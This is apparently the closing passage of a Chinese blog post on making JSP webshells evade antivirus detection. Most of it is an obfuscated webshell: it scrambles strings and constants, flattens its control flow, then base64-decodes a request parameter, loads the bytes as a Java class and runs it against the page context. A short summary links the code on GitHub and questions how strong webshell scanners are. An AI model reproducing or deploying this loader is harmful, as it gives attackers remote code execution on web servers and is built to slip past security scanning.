rKfCgregXvByjCvhxRxW = (char) (((rKfCgregXvByjCvhxRxW - 'A') - offset + (1850740 ^ 1850734)) % (1084508 ^ 1084486) + 'A');
} else if (rKfCgregXvByjCvhxRxW >= '0' && rKfCgregXvByjCvhxRxW <= '9') {
rKfCgregXvByjCvhxRxW = (char) (((rKfCgregXvByjCvhxRxW - '0') - offset + (1210262 ^ 1210268)) % (1307501 ^ 1307495) + '0');
} else {
UJmcHvuZzxZueglvhEXj = new StringBuilder(str);
break;
}
UJmcHvuZzxZueglvhEXj.append(rKfCgregXvByjCvhxRxW);
}
String DqvcAOdAcpWauApzwTRq = UJmcHvuZzxZueglvhEXj.toString();
DqvcAOdAcpWauApzwTRq = DqvcAOdAcpWauApzwTRq.replace("\\\"", "\"");
DqvcAOdAcpWauApzwTRq = DqvcAOdAcpWauApzwTRq.replace("\\n", "\n");
return DqvcAOdAcpWauApzwTRq;
} catch (Exception ignored) {
return "";
}
}
%><%
String[] oNJuJikOgjxSAgpuapoa = new String[]{"MXw2fDExfDB8MTJ8N3w1fDl8MTN8NHwzfDJ8OHwxMA==", "eWpiYmZtbQ=="};
String ckphsywtqiXvMyIouIdk = dec(oNJuJikOgjxSAgpuapoa[((0 ^ 1454308) ^ (144559 ^ 1311819))], ((842141 ^ 1629663) ^ (862872 ^ 1650387)));
String[] FcuXNygiqPJbDZwvnlSg = ckphsywtqiXvMyIouIdk.split("\\|");
String dmjXOSyFxLGKfPNJeVkE = null;
ClassLoader jKpxyUZqKneUsfmnxTlC = null;
VGakJDyicU QTZxUuEMsBJWRNcudHyD = null;
byte[] fOusiCauDCKbMzDlKvqw = null;
Class AAsWwIQGRxHfKbdqLZev = null;
Object BYaCKDJJsTfIPkqUyKoL = null;
int YvkdhaCbnCbPDaUNRuBo = ((187401 ^ 1704406) ^ (1008132 ^ 1556443));
while (YvkdhaCbnCbPDaUNRuBo < ((319511 ^ 1953485) ^ (612423 ^ 1078932))) {
int cTJfJkZQDeaXOYYzRNnC = Integer.parseInt(FcuXNygiqPJbDZwvnlSg[YvkdhaCbnCbPDaUNRuBo++]);
switch (cTJfJkZQDeaXOYYzRNnC) {
case ((664766 ^ 1058149) ^ (44698 ^ 1748812)):
for (int OxJhcBTqssMVndvyMIjo = ((309873 ^ 1246634) ^ (241737 ^ 1314706)); OxJhcBTqssMVndvyMIjo < ((333641 ^ 1628558) ^ (832090 ^ 1146007)); OxJhcBTqssMVndvyMIjo++) {
if (OxJhcBTqssMVndvyMIjo == ((861272 ^ 1921733) ^ (635827 ^ 1688871))) {
break;
}
}
break;
case ((122212 ^ 1235151) ^ (468463 ^ 1318981)):
dmjXOSyFxLGKfPNJeVkE = request.getParameter(dec(oNJuJikOgjxSAgpuapoa[((69673 ^ 1384378) ^ (410020 ^ 1199670))], ((115978 ^ 1645709) ^ (996168 ^ 1567430))));
break;
case ((1002251 ^ 1980313) ^ (29403 ^ 1117772)):
BYaCKDJJsTfIPkqUyKoL = AAsWwIQGRxHfKbdqLZev.newInstance();
break;
case ((520420 ^ 1745450) ^ (7204 ^ 1920737)):
jKpxyUZqKneUsfmnxTlC = this.getClass().getClassLoader();
break;
case ((167948 ^ 1791275) ^ (393195 ^ 1850060)):
QTZxUuEMsBJWRNcudHyD = new VGakJDyicU(jKpxyUZqKneUsfmnxTlC);
break;
case ((327792 ^ 1385753) ^ (860610 ^ 1901735)):
fOusiCauDCKbMzDlKvqw = base64Decode(dmjXOSyFxLGKfPNJeVkE);
break;
case ((944603 ^ 1361552) ^ (529251 ^ 1227823)):
AAsWwIQGRxHfKbdqLZev = QTZxUuEMsBJWRNcudHyD.qwer(fOusiCauDCKbMzDlKvqw);
break;
case ((1757191 ^ 1036219) ^ (30436 ^ 1403230)):
if (dmjXOSyFxLGKfPNJeVkE == null) {
return;
}
break;
case ((361224 ^ 1559863) ^ (259966 ^ 1161544)):
BYaCKDJJsTfIPkqUyKoL.equals(pageContext);
break;
}
}
%>
0x0A 总结
代码地址在:Github
没想到三天已有接近300的Star,有点受宠若惊
以上的免杀手段是否真正有用,笔者并不是很确定,因为已有的线上webshell查杀平台强度似乎不高